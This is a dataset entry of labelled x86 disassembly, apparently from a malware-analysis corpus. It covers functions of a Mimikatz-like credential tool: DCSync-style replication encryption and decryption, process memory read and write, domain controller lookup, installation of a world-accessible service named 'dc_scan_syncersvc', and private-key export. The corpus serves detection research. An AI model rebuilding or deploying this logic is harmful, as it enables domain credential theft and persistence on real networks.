joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402e0a
Capabilities:
Check if file exists
Enumerate files on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x25c
push ebx
push esi
push edi
mov edi, ecx
xor eax, eax
mov ebx, eax
mov dword [esp + 0x10], edi
push edi
mov dword [esp + 0x18], ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402f84
test al, 0x10
je 0x402f84
push 0x208
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je 0x402f84
push edi
push 0x104
push esi
call fcn.0047f99f
add esp, 0xc
test eax, eax
jne 0x402f7d
push 0x4aeccc
push 0x104
push esi
call fcn.0047fa03
add esp, 0xc
test eax, eax
jne 0x402f7d
push 0x4aecd0
push 0x104
push esi
call fcn.0047fa03
add esp, 0xc
test eax, eax
jne 0x402f7d
lea eax, [esp + 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402f79
lea eax, [esp + 0x44]
push 0x4aecd4
push eax
call fcn.0047f89e
pop ecx
pop ecx
test eax, eax
je 0x402f5e
lea eax, [esp + 0x44]
push 0x4aecd8
push eax
call fcn.0047f89e
pop ecx
pop ecx
test eax, eax
je 0x402f5e
push edi
push 0x104
push esi
call fcn.0047f99f
add esp, 0xc
test eax, eax
jne 0x402f5e
push 0x4aeccc
push 0x104
push esi
call fcn.0047fa03
add esp, 0xc
test eax, eax
jne 0x402f5e
mov edi, esi
xor edx, edx
lea ecx, [edi + 2]
mov ax, word [edi]
add edi, 2
cmp ax, dx
jne 0x402f19
lea eax, [esp + 0x44]
sub edi, ecx
push eax
push 0x104
push esi
sar edi, 1
call fcn.0047fa03
add esp, 0xc
test eax, eax
jne 0x402f5a
cmp dword [ebp + 0x18], eax
je 0x402f5a
push dword [ebp + 0x1c]
lea eax, [esi + edi*2]
push eax
push esi
push dword [ebp + 0xc]
call dword [ebp + 0x18]
mov dword [esp + 0x14], eax
test eax, eax
jne 0x402f72
mov edi, dword [esp + 0x10]
lea eax, [esp + 0x18]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x402eba
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ebx, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403358
Capabilities:
Get domain controller name

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 0x40020010
push esi
push esi
push ecx
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.NETAPI32.dll_DsGetDcNameW]
test eax, eax
jne 0x4033d1
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
add ecx, 4
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x403384
sub ecx, edx
sar ecx, 1
push edi
lea edi, [ecx*2 + 2]
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, eax
mov eax, dword [ebp + 8]
mov dword [eax], ecx
test ecx, ecx
je 0x4033c5
mov eax, dword [ebp - 4]
xor esi, esi
push edi
inc esi
mov eax, dword [eax]
add eax, 4
push eax
push ecx
call fcn.004793b0
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
pop edi
jmp 0x4033de
push eax
push str.ERROR_kull_m_net_getDC___DsGetDcName:__u_n
call fcn.00403fb4
pop ecx
pop ecx
mov eax, esi
pop esi
leave
ret
Function at 0x4033e3
Capabilities:
Get hostname

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push 4
pop ebp
push 7
pop eax
xor esi, esi
mov ebx, edx
test ecx, ecx
mov dword [esp + 0x10], esi
cmovne ebp, eax
lea eax, [esp + 0x10]
push eax
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x40345c
call edi
cmp eax, 0xea
jne 0x40345c
mov eax, dword [esp + 0x10]
add eax, eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebx], eax
test eax, eax
je 0x40346b
lea ecx, [esp + 0x10]
push ecx
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
mov esi, eax
test esi, esi
jne 0x40346b
call edi
push eax
push str.ERROR_kull_m_net_getComputerName___GetComputerNameEx_data___0x_08x__n
call fcn.00403fb4
pop ecx
pop ecx
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x40346b
call edi
push eax
push str.ERROR_kull_m_net_getComputerName___GetComputerNameEx_init___0x_08x__n
call fcn.00403fb4
pop ecx
pop ecx
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x403545
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, ecx
mov dword [ebp - 0xc], 0x4d5e64
push esi
xor esi, esi
mov dword [ebp - 0x10], esi
mov ecx, dword [ebx + 4]
push edi
mov edi, edx
mov eax, dword [ecx]
sub eax, esi
je 0x403645
sub eax, 1
je 0x4035e3
dec eax
sub eax, 1
je 0x4035c0
sub eax, 3
jne 0x4036ee
mov eax, dword [edi + 4]
cmp dword [eax], esi
jne 0x4035ff
cmp dword [ebx], esi
je 0x4035a1
mov eax, dword [ecx + 4]
push esi
push esi
push dword [ebx]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
test eax, eax
je 0x4036ee
push esi
lea eax, [ebp - 8]
push eax
mov eax, dword [ebx + 4]
push dword [ebp + 8]
push dword [edi]
mov eax, dword [eax + 4]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, eax
jmp 0x4036ee
mov eax, dword [edi + 4]
cmp dword [eax], esi
jne 0x4035ff
push ecx
push esi
push ebx
push dword [ebp + 8]
mov edx, 0x22c187
mov ecx, dword [ecx + 4]
push dword [edi]
mov ecx, dword [ecx]
call fcn.004030ed
add esp, 0x14
jmp 0x4035b9
mov eax, dword [edi + 4]
cmp dword [eax], esi
jne 0x4035ff
mov eax, dword [ecx + 4]
push esi
push dword [ebp + 8]
push dword [edi]
push dword [ebx]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x4035b9
push dword [ebp + 8]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x4036ee
push dword [ebp + 8]
mov edx, edi
lea ecx, [ebp - 0x10]
call fcn.00403545
pop ecx
test eax, eax
je 0x403637
push dword [ebp + 8]
lea edx, [ebp - 0x10]
mov ecx, ebx
call fcn.00403545
pop ecx
mov esi, eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x4036ee
mov ecx, dword [edi + 4]
mov eax, dword [ecx]
sub eax, esi
je 0x4036dc
sub eax, 1
je 0x4036c4
sub eax, 1
je 0x4036ac
sub eax, 1
je 0x40369b
sub eax, 3
jne 0x4036ee
mov eax, dword [ecx + 4]
push esi
push esi
push dword [edi]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x4036ee
push esi
lea eax, [ebp - 8]
push eax
mov eax, dword [edi + 4]
push dword [ebp + 8]
push dword [ebx]
mov eax, dword [eax + 4]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ReadFile]
jmp 0x4035b9
push ecx
lea eax, [ebp + 8]
mov edx, 0x22c183
push eax
push ebx
push esi
jmp 0x4035d2
mov ecx, dword [ecx + 4]
push dword [ebp + 8]
mov edx, dword [ebx]
push dword [edi]
mov ecx, dword [ecx]
call fcn.00403aca
pop ecx
pop ecx
jmp 0x4035b9
mov eax, dword [ecx + 4]
push esi
push dword [ebp + 8]
push dword [ebx]
push dword [edi]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
jmp 0x4035b9
push dword [ebp + 8]
push dword [edi]
push dword [ebx]
call fcn.004793b0
xor esi, esi
add esp, 0xc
inc esi
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x403973
Capabilities:
Compress data via winapi

Disassembly:
sub esp, 0x10
push ebx
push ebp
lea eax, [esp + 0x14]
mov dword [esp + 0x10], ecx
push eax
lea eax, [esp + 0xc]
mov ebp, edx
push eax
push 0x102
mov dword [esp + 0x18], ebp
xor ebx, ebx
call dword [sym.imp.ntdll.dll_RtlGetCompressionWorkSpaceSize]
test eax, eax
js 0x4039fe
push esi
push edi
push dword [esp + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_LocalAlloc]
push 0x40
call edi
mov esi, eax
test esi, esi
je 0x4039fc
push ebp
push 0x40
call edi
mov ebp, dword [esp + 0x24]
mov ecx, eax
mov edi, dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebp], ecx
test ecx, ecx
je 0x4039f9
mov eax, dword [esp + 0x14]
push esi
push dword [esp + 0x2c]
push 0x1000
push eax
push ecx
push eax
push dword [esp + 0x30]
push 0x102
call dword [sym.imp.ntdll.dll_RtlCompressBuffer]
test eax, eax
setns bl
test eax, eax
jns 0x4039f9
push dword [ebp]
call edi
push esi
call edi
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x10
ret

Function at 0x403a06
Capabilities:
Read file via mapping

Disassembly:
push ebx
push esi
push edi
push 8
push 0x40
mov edi, edx
mov ebx, ecx
xor esi, esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [edi], eax
test eax, eax
je 0x403a70
push esi
push esi
push esi
push 2
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ecx, dword [edi]
mov dword [ecx], eax
mov eax, dword [edi]
cmp dword [eax], esi
je 0x403a69
push esi
push esi
push esi
push 4
push dword [eax]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
mov eax, dword [edi]
mov dword [eax + 4], ecx
test ecx, ecx
je 0x403a69
mov eax, dword [edi]
mov eax, dword [eax + 4]
cmp dword [eax], 0x504d444d
jne 0x403a69
mov ecx, 0xa793
cmp word [eax + 4], cx
jne 0x403a69
inc esi
jmp 0x403a70
mov ecx, dword [edi]
call fcn.00403a76
pop edi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x404761
Capabilities:
Get system information on windows

Disassembly:
push ecx
push ebx
mov ebx, edx
push ebp
push esi
mov ebp, ecx
mov esi, 0xc0000004
cmp dword [ebx], 0
je 0x404789
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x18]
push dword [ebx]
push ebp
call dword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov esi, eax
jmp 0x4047c5
push edi
mov edi, 0x1000
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebx], eax
test eax, eax
je 0x4047c4
lea ecx, [esp + 0x10]
push ecx
push edi
push eax
push ebp
call dword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov esi, eax
test esi, esi
jns 0x4047ba
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_LocalFree]
add edi, edi
cmp esi, 0xc0000004
je 0x40478f
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x405061
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x44
or dword [esp + 0x48], 0x10
lea eax, [esp]
push ebx
push ebp
push esi
push edi
push 0x44
pop ebx
push ebx
xor edi, edi
mov esi, edx
push edi
push eax
call fcn.00478810
mov ebp, dword [esp + 0x7c]
add esp, 0xc
mov dword [esp + 0x10], ebx
test ebp, ebp
je 0x405092
mov ebx, ebp
jmp 0x4050a2
push 0x10
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
test ebx, ebx
je 0x405100
push esi
call fcn.0047f726
mov esi, eax
mov dword [esp + 0x74], esi
pop ecx
test esi, esi
je 0x405100
push ebx
lea eax, [esp + 0x14]
push eax
push edi
push edi
push dword [esp + 0x68]
push edi
push edi
push edi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edi, eax
test edi, edi
je 0x4050ee
cmp dword [esp + 0x74], 0
jne 0x4050db
test ebp, ebp
jne 0x4050f9
push dword [ebx + 4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebx]
call esi
mov esi, dword [esp + 0x70]
test ebp, ebp
jne 0x4050f9
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
call fcn.0047f785
pop ecx
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x44
ret
Function at 0x406225
Capabilities:
Encode data using xor
Read file on windows
Write file on windows

Disassembly:
sub esp, 0x120
push ebx
mov bh, byte [esp + 0x12c]
mov bl, dl
push ebp
push esi
push edi
mov al, bh
mov word [esp + 0x18], 0x103
add al, 5
and dword [esp + 0x10], 0
mov byte [esp + 0x1a], al
lea edi, [esp + 0x1b]
xor eax, eax
mov ebp, ecx
stosd dword es:[edi], eax
push 0x100
push 0
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [esp + 0x38]
push eax
call fcn.00478810
add esp, 0xc
cmp bh, 0x12
jae 0x40640f
movzx esi, bh
lea eax, [esp + 0x1c]
push esi
push dword [esp + 0x138]
mov byte [esp + 0x23], bl
push eax
call fcn.004793b0
lea edi, [esi + 3]
add esp, 0xc
xor dl, dl
xor cl, cl
test edi, edi
je 0x4062ad
xor eax, eax
xor dl, byte [esp + eax + 0x19]
inc cl
movzx eax, cl
cmp eax, edi
jb 0x4062a0
push 0xc
push ebp
mov byte [esp + esi + 0x24], dl
mov byte [esp + esi + 0x25], 4
call dword [sym.imp.KERNEL32.dll_PurgeComm]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call esi
push 0
lea eax, [esp + 0x18]
push eax
push 0x18
lea eax, [esp + 0x24]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4063fc
cmp dword [esp + 0x14], 0x18
jne 0x4063fc
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_ClearCommError]
push 0x64
call esi
push 0
lea eax, [esp + 0x18]
push eax
push 0x100
lea eax, [esp + 0x3c]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4063ee
cmp dword [esp + 0x14], 6
jb 0x4063e3
cmp byte [esp + 0x30], 5
jne 0x4063dc
cmp byte [esp + 0x31], 1
jne 0x4063dc
mov al, byte [esp + 0x32]
cmp al, 5
jb 0x4063d5
or bl, 0x80
cmp byte [esp + 0x33], bl
jne 0x4063d5
sub al, 5
xor cl, cl
movzx esi, al
xor bl, bl
lea edi, [esi + 3]
test edi, edi
je 0x406375
xor edx, edx
xor cl, byte [esp + edx + 0x31]
inc bl
movzx edx, bl
cmp edx, edi
jb 0x406368
cmp byte [esp + esi + 0x34], cl
jne 0x4063c9
cmp byte [esp + esi + 0x35], 4
jne 0x4063c9
xor ebx, ebx
inc ebx
test al, al
je 0x406413
mov edi, dword [esp + 0x13c]
test edi, edi
je 0x406413
mov ecx, dword [esp + 0x140]
test ecx, ecx
je 0x406413
push esi
push 0x40
mov byte [ecx], al
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [edi], eax
test eax, eax
je 0x4063c5
push esi
lea ecx, [esp + 0x38]
push ecx
push eax
call fcn.004793b0
add esp, 0xc
jmp 0x406413
xor ebx, ebx
jmp 0x406413
push str.ERROR_sr98_send_receive___Bad_CRC_data_n
call fcn.00403fb4
jmp 0x40640e
push str.ERROR_sr98_send_receive___Bad_data_size_ctl_code_n
jmp 0x4063ce
push str.ERROR_sr98_send_receive___Bad_header_n
jmp 0x4063ce
push dword [esp + 0x14]
push str.ERROR_sr98_send_receive___Read_size___u_n
jmp 0x406408
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_sr98_send_receive___ReadFile__0x_08x__n
jmp 0x406408
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_sr98_send_receive___WriteFile__0x_08x__n
call fcn.00403fb4
pop ecx
pop ecx
mov ebx, dword [esp + 0x10]
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x120
ret
Function at 0x407562
Capabilities:
Encrypt data using rc4 via systemfunction033

Disassembly:
sub esp, 0x8c
push ebx
push ebp
push esi
push edi
push 0x10
pop eax
mov edi, ecx
mov dword [esp + 0x18], eax
xor ebp, ebp
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x88]
mov dword [esp + 0x20], eax
mov ebx, dword [edi + 4]
cmp dword [0x4d5e84], ebp
je 0x407699
cmp dword [0x4d5e80], ebp
je 0x407699
cmp dword [edi], 0x14
jb 0x407692
test ebx, ebx
je 0x407692
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.cryptdll.dll_MD5Init]
push dword [0x4d5e80]
mov esi, dword [sym.imp.cryptdll.dll_MD5Update]
lea eax, [esp + 0x34]
push dword [0x4d5e84]
push eax
call esi
push 0x10
push ebx
lea eax, [esp + 0x38]
push eax
call esi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.cryptdll.dll_MD5Final]
mov eax, dword [edi]
sub eax, 0x10
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], eax
lea eax, [ebx + 0x10]
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.ADVAPI32.dll_SystemFunction033]
test eax, eax
js 0x40768b
mov esi, dword [edi]
lea ecx, [esp + 0x10]
push 4
lea eax, [ebx + 0x14]
sub esi, 0x14
push ecx
push esi
mov edx, eax
mov dword [esp + 0x20], eax
mov ecx, 0x8000
call fcn.00401a0a
add esp, 0xc
test eax, eax
je 0x407684
mov eax, dword [esp + 0x10]
cmp eax, dword [ebx + 0x10]
jne 0x407671
mov ebx, dword [edi + 4]
push esi
call fcn.00406c4c
mov dword [edi + 4], eax
test eax, eax
je 0x4076a4
push esi
push dword [esp + 0x18]
push eax
call fcn.004793b0
add esp, 0xc
mov dword [edi], esi
inc ebp
test ebx, ebx
je 0x4076a4
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x4076a4
push dword [ebx + 0x10]
push eax
push str.ERROR_kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt___Checksums_dont_match__C:0x_08x___R:0x_08x__n
call fcn.00403fb4
add esp, 0xc
jmp 0x4076a4
push str.ERROR_kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt___Unable_to_calculate_CRC32_n
jmp 0x40769e
push str.ERROR_kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt___RtlDecryptData2_n
jmp 0x40769e
push str.ERROR_kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt___No_valid_data_n
jmp 0x40769e
push str.ERROR_kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt___No_Session_Key_n
call fcn.00403fb4
pop ecx
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x8c
ret
Function at 0x4076b1
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
sub esp, 0x94
push ebx
push ebp
push esi
push edi
mov ebx, ecx
xor edi, edi
test edx, edx
mov eax, 0x4d5e80
push 0x10
cmovne eax, edx
mov edx, dword [ebx]
pop ecx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], ecx
lea ecx, [esp + 0x90]
mov dword [esp + 0x28], ecx
lea ecx, [edx + 0x14]
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], edx
cmp dword [eax + 4], edi
je 0x4077fd
cmp dword [eax], edi
je 0x4077fd
test edx, edx
je 0x4077f6
cmp dword [ebx + 4], edi
je 0x4077f6
push ecx
call fcn.00406c4c
mov dword [esp + 0x10], eax
test eax, eax
je 0x407808
push dword [ebx]
lea esi, [eax + 0x14]
mov ebp, eax
push dword [ebx + 4]
push esi
call fcn.004793b0
mov eax, ebp
mov edx, esi
add eax, 0x10
mov ecx, 0x8000
push 4
push eax
push dword [ebx]
mov dword [esp + 0x34], eax
call fcn.00401a0a
add esp, 0x18
test eax, eax
je 0x4077e2
push 0x10
push ebp
call dword [sym.imp.cryptdll.dll_CDGenerateRandomBits]
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.cryptdll.dll_MD5Init]
mov eax, dword [esp + 0x14]
mov esi, dword [sym.imp.cryptdll.dll_MD5Update]
push dword [eax]
push dword [eax + 4]
lea eax, [esp + 0x40]
push eax
call esi
push 0x10
push ebp
lea eax, [esp + 0x40]
push eax
call esi
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.cryptdll.dll_MD5Final]
mov esi, dword [esp + 0x18]
add esi, 0x14
lea eax, [esi - 0x10]
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x34], eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_SystemFunction032]
test eax, eax
js 0x4077d1
mov ebp, dword [ebx + 4]
inc edi
mov eax, dword [esp + 0x10]
mov dword [ebx + 4], eax
mov dword [ebx], esi
jmp 0x4077dc
push str.ERROR_kull_m_rpc_drsr_CreateGetNCChangesReply_encrypt___RtlEncryptData2_n
call fcn.00403fb4
pop ecx
test ebp, ebp
je 0x407808
jmp 0x4077ed
push str.ERROR_kull_m_rpc_drsr_CreateGetNCChangesReply_encrypt___Unable_to_calculate_CRC32_n
call fcn.00403fb4
pop ecx
push ebp
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x407808
push str.ERROR_kull_m_rpc_drsr_CreateGetNCChangesReply_encrypt___No_valid_data_n
jmp 0x407802
push str.ERROR_kull_m_rpc_drsr_CreateGetNCChangesReply_encrypt___No_Session_Key_n
call fcn.00403fb4
pop ecx
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x94
ret
Function at 0x40821b
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
push ebp
push edi
push 3
push 0x4b31ec
xor edi, edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebp, eax
test ebp, ebp
je 0x40835c
push ebx
push esi
push 0x10
push str.dc_scan_syncersvc
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test ebx, ebx
je 0x408269
push str.dc_scan_syncersvc
push str.____s_service_already_registered_n
call fcn.00403fb4
pop ecx
pop ecx
jmp 0x4082f8
call esi
cmp eax, 0x424
jne 0x408342
mov ebx, str.dc_scan_syncersvc
push ebx
push str.____s_service_not_present_n
call fcn.00403fb4
pop ecx
pop ecx
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push dword [esp + 0x28]
push 1
push 2
push 0x10
push 0x60010
push str.dc_scan_syncer_service__dc_scan_syncersvc_
push ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov ebx, eax
test ebx, ebx
je 0x4082e5
push str.dc_scan_syncersvc
push str.____s_service_successfully_registered_n
call fcn.00403fb4
pop ecx
pop ecx
mov ecx, ebx
call fcn.00408120
mov edi, eax
test edi, edi
je 0x4082db
push str.dc_scan_syncersvc
push str.____s_service_ACL_to_everyone_n
jmp 0x4082ed
call esi
push eax
push str.ERROR_kull_m_service_install___kull_m_service_addWorldToSD__0x_08x__n
jmp 0x4082ed
call esi
push eax
push str.ERROR_kull_m_service_install___CreateService__0x_08x__n
call fcn.00403fb4
pop ecx
pop ecx
test ebx, ebx
je 0x408351
push 0
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
mov edi, eax
test edi, edi
je 0x408315
push str.dc_scan_syncersvc
push str.____s_service_started_n
jmp 0x408332
call esi
cmp eax, 0x420
jne 0x40832a
push str.dc_scan_syncersvc
push str.____s_service_already_started_n
jmp 0x408332
call esi
push eax
push str.ERROR_kull_m_service_install___StartService__0x_08x__n
call fcn.00403fb4
pop ecx
pop ecx
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x408351
call esi
push eax
push str.ERROR_kull_m_service_install___OpenService__0x_08x__n
call fcn.00403fb4
pop ecx
pop ecx
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
pop ebx
jmp 0x40836f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_kull_m_service_install___OpenSCManager_create___0x_08x__n
call fcn.00403fb4
pop ecx
pop ecx
mov eax, edi
pop edi
pop ebp
ret

Function at 0x408a56
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
push edi
xor esi, esi
mov edi, edx
push esi
push esi
push ebx
push esi
push 1
mov ebp, ecx
mov dword [edi], esi
push esi
push ebp
mov dword [ebx], esi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
test eax, eax
je 0x408aa8
push dword [ebx]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [edi], eax
test eax, eax
je 0x408aa8
push esi
push esi
push ebx
push eax
push 1
push esi
push ebp
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
mov esi, eax
test esi, esi
jne 0x408aa8
push dword [edi]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [edi], eax
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret
Function at 0x408b3c
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x14]
lea eax, [esp + 0xc]
push edi
push eax
xor ebx, ebx
mov edi, edx
and dword [esp + 0x14], ebx
mov ebp, ecx
push ebx
push 0x40000001
push edi
push ebp
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
je 0x408bd1
push dword [esp + 0x10]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [esi], eax
test eax, eax
je 0x408bd1
lea ecx, [esp + 0x10]
push ecx
push eax
push 0x40000001
push edi
push ebp
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
push dword [esi]
mov ebx, eax
test ebx, ebx
jne 0x408b9d
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [esi], eax
jmp 0x408bd1
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
xor ecx, ecx
test edi, edi
je 0x408bd1
mov edx, dword [esi]
mov al, byte [edx + ecx]
cmp al, 0x2b
jne 0x408bba
mov byte [edx + ecx], 0x2d
jmp 0x408bcc
cmp al, 0x2f
jne 0x408bc4
mov byte [edx + ecx], 0x5f
jmp 0x408bcc
cmp al, 0x3d
jne 0x408bcc
mov byte [edx + ecx], 0
inc ecx
cmp ecx, edi
jb 0x408bad
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
pop ecx
ret

Function at 0x408bd9
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
lea eax, [ebp - 4]
xor edi, edi
push eax
push edi
push 0x80000001
push dword [ebp + 8]
mov ebx, edx
mov dword [ebp - 4], edi
push ebx
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
je 0x408c4a
push esi
push dword [ebp - 4]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je 0x408c49
lea eax, [ebp - 4]
push eax
push esi
push 0x80000001
push dword [ebp + 8]
push ebx
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
je 0x408c42
mov eax, str.PRIVATE_KEY
push eax
push esi
push eax
push str._____BEGIN__s______n_s_____END__s______n
push dword [ebp + 0xc]
call fcn.00408caa
add esp, 0x14
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
mov eax, edi
pop edi
pop ebx
leave
ret